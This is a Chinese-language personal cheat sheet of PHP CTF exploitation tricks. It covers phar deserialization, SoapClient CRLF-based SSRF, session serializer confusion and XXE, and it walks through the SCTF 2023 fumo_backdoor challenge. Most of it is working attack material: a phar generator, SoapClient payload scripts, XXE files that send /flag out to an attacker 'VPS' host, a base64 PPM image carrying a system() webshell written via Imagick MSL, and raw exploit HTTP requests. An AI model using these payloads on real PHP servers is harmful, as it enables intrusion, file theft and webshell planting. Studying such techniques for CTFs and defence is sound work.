PHP的一些trick
会长期更新的系列,自用。
反序列化
Magic method
- 构造函数
__construct
对象被创建的时候调用 - 析构函数
__destruct
对象被销毁的时候调用 - 方法重载
__call
在对象中调用一个不可访问方法时调用 - 方法重载
__callStatic
在静态上下文中调用一个不可访问方法时调用 - 在给不可访问属性赋值时,
__set()
会被调用。 - 读取不可访问属性的值时,
__get()
会被调用。 - 当对不可访问属性调用
isset()
或empty()
时,__isset()
会被调用 - 当对不可访问属性调用
unset()
时,__unset()
会被调用 __sleep()
在serialize()
函数执行之前调用__wakeup()
在unserialize()
函数执行之前调用__toString
在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发
Primitive class
读文件名:
echo new GlobIterator('/f*');
echo new DirectoryIterator('glob:///f*');
echo new FilesystemIterator('glob:///f*');
读文件:
echo new SplFileObject('/flag')
phar
没有unserialize()时或许可以通过phar进行反序列化。
触发phar的函数:
能够利用的函数 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
利用phar的条件:
1)phar文件要能够上传至服务器
2)要有可用的魔术方法为跳板
3)文件操作函数的参数可控,且 : 、 / 、phar等特殊字符没有被过滤
4)php版本小于8
生成phar脚本:
<?php
class A {
}
class B {
}
class C {
}
@unlink("phar.phar");
$user = new B();
$phar = new Phar("phar.phar"); //生成phar.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub,<?php 前的字符无所谓,GIF89a绕过图片头
$phar->setMetadata($user); //写入metadata
$phar->addFromString("exp.txt","Squirt1e"); //签名
$phar->stopBuffering();
?>
SoapClient::__call+反序列化+CRLF打SSRF
如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化,SoapClient打SSRF比较常见。
首先测试下正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法,那么__call
方法会POST一个本地请求从而绕过本机ip校验。
CRLF注入任意请求头:
用安洵杯的一道题做示范。
<?php
$target = "http://127.0.0.1:5555/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('uri' => "123",'location' => $target,'user_agent' => "aaaa\r\nCookie: PHPSESSID=123456"));
$payload = serialize($attack);
$b=unserialize($payload);
$a="not_exists_function";
$b->a();
CRLF就是\r\n
在HTTP报文中当换行用。user-agent注入Cookie成功。
CRLF注入任意POST数据
Content-Type不是可控的,但可以通过User-Agent伪造ContentType实现任意POST请求。
注:Content-Length也需要注入。
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=123456'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Squirt1e^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
php session
构造器的差异造成的反序列化。
- ini_set(‘session.serialize_handler’,’php_serialize’);
- ini_set(‘session.serialize_handler’,’php’);
像这种就可控。
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
————————————————————————————————————————————————————————
call_user_func($a,$_POST);
//$a=session_start POST: serialize_handler=pphp_serialize
对于php_serialize构造器,序列化数据前面要加个’|’。
然后使用php构造器就能反序列化了,因为php构造器分割键为’|’。
可实例化类new $class($argv);
如果仅仅是可实例化任意类,并且能接受参数,那么此时该如何利用呢?其实无非就是找自定义类、内置类或者扩展类。
自定义类
实例化类时会触发构造函数,那么就会触发里面的代码。如果xxx
为可以利用的函数,那么自然可以攻击。
class Evil {
function __construct ($cmd) {
// xxx
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
一般不会出现这样的情况,即便目标服务中有这样的恶意类,但可能由于没有include
而无法调用。
通过php
中的自动加载函数可以找到全局自定义的类。因此利用面就从单个文件扩展到整个项目,前提是有注册回调spl_autoload_register
或定义来设置的__autoload
。
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
内置类
内置类很多,但如果只能传递一个参数并且不对创建的对象进行方法调用,那么就很难找到合适的内置类了。
SplFileObject
SplFileObject
实现了一个允许连接到任何本地或远程 URL 的构造函数。可以通过该类实现SSRF。
PHP < 8
中的 SSRF
可以通过 Phar
协议技术转化为反序列化。
因此,满足以下条件即可:
- 可上传文件,且路径已知。
- 存在
pop
链
SimpleXMLElement
该类接收3
个参数。
通过设置第三个参数dataIsURL
为 true
可以实现远程xml
文件的加载。第二个参数的常量值设置为2
即可。第一个参数 data
用于引入的外部实体的url
。因此我们可以通过它打个XXE。
evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://VPS/?%payload;'>">
也可以直接读文件,就不需要第三个参数了。
<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY f SYSTEM \"file:///etc/passwd\">]><x>&f;</x>
扩展类
Magick
Imagick
拓展类是用于处理图像的,它是通过Magick Scripting Language
语法来处理的。
这个语法可以用来写、转移文件,难点在于它只支持图片格式,如果不是它支持的图片格式的话就报错。
通过检索可知利用ppm
图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析,这个东西就很妙。
例如SCTF 2023
的fumo_backdoor
。
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}
public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;
new $class($argv);
}
}
}
$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];
switch ($cmd) {
case 'unserialze':
unserialize($data);
break;
case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;
default:
highlight_file(__FILE__);
break;
}
这里如果web
目录可写,我们可以直接写马。
通过vid
模式,我们可以包含未知名称的MSL
格式的临时文件,从而触发MSL
语法达到写的目的。
<?php
$webshell = "<?php system('ls');?>";
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($webshell)) . $webshell);
数据包
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 710
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4=" />
<write filename="/var/www/html/b.php" />
</image>
--------------------------c32aaddf3d8fd979--
RCE
当然,一般情况下web
目录没法写,这题也是,只不过为了测试改了权限。
此题的正确解法是想办法触发__sleep
从而把flag
读出来。
要触发__sleep
必须要序列化,因此该题只能搞个session
序列化从而触发__sleep
了。
而php
的session
是在tmp
目录下存放的,该目录一般都可写,并且名称是可控的。
<?php
class fumo_backdoor //生成ppm格式的session内容
{
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$fumo = new fumo_backdoor();
$fumo->path = "/tmp/squirt1e"; //readfile读取的文件,此时是空的。
$serialized = "|" . serialize($fumo);
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);
数据包
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 709
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czoxMzoiL3RtcC9zcXVpcnQxZSI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
<write filename="/tmp/sess_squirt1e" />
</image>
--------------------------c32aaddf3d8fd979--
写成功。
接下来就要把flag
带到/tmp/squirt1e
中,因为题目设置了open_basedir
,没办法直接读。我们需要找到一个对文件头要求不严格的文件协议并手动指定,因为flag
不是图片,通过Imagick
移动会导致报错。
最终发现mvg
、uyvy
、RGB
三种格式可以利用。
前两个亲测可用。
<?xml version="1.0" encoding="UTF-8"?>
<group>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/squirt1e" />
</image>
</group>
最后一个参考作者的exp
没成功,记录一下吧,万一以后用得到呢。
<?xml version="1.0" encoding="UTF-8"?>
<group>
<!-- step2: copy flag -->
<image id="a1">
<!-- 设置为RGB格式,读取flag -->
<read size="{img_size}x1" filename="rgb:/flag"/>
</image>
<image id="w1">
<!-- 设置⼀个空图⽚ -->
<read size="10x10" filename="null:"/>
<!-- 将空图⽚和flag数据进⾏拼接 -->
<composite image="a1" geometry="+0"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a2">
<!-- 添加偏移后,读取flag -->
<read size="{img_size}x1+1" filename="rgb:/flag"/>
</image>
<image id="w2">
<read size="10x10" filename="null:"/>
<composite image="w1" geometry="+0"/>
<!-- 将上⼀张图⽚和这次读取的flag进⾏拼接 -->
<composite image="a2" geometry="+1"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<!-- 不断重复,如果读取超出范围,便会报错,并留下上⼀次写⼊的⽂件 -->
<image id="a3">
<read size="{img_size}x1+2" filename="rgb:/flag"/>
</image>
<image id="w3">
<read size="10x10" filename="null:"/>
<composite image="w2" geometry="+0"/>
<composite image="a3" geometry="+2"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a4">
<read size="{img_size}x1+3" filename="rgb:/flag"/>
</image>
<image id="w4">
<read size="10x10" filename="null:"/>
<composite image="w3" geometry="+0"/>
<composite image="a4" geometry="+3"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a5">
<read size="{img_size}x1+4" filename="rgb:/flag"/>
</image>
<image id="w5">
<read size="10x10" filename="null:"/>
<composite image="w4" geometry="+0"/>
<composite image="a5" geometry="+4"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a6">
<read size="{img_size}x1+5" filename="rgb:/flag"/>
</image>
<image id="w6">
<read size="10x10" filename="null:"/>
<composite image="w5" geometry="+0"/>
<composite image="a6" geometry="+5"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
</group>
一些脏trick
php session not started
想办法整个session,利⽤SESSION UPLOAD PROGRESS创建⼀个 session,这样就可以看到源码了
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cookie: PHPSESSID=1
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 204
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS";
Content-Type: application/octet-stream
1
--------------------------c32aaddf3d8fd979--
绕过md5以及sha1强比较
利用 Error/Exception 内置类进行hash绕过。
$a = new Error("null",1);$b = new Error("null",1);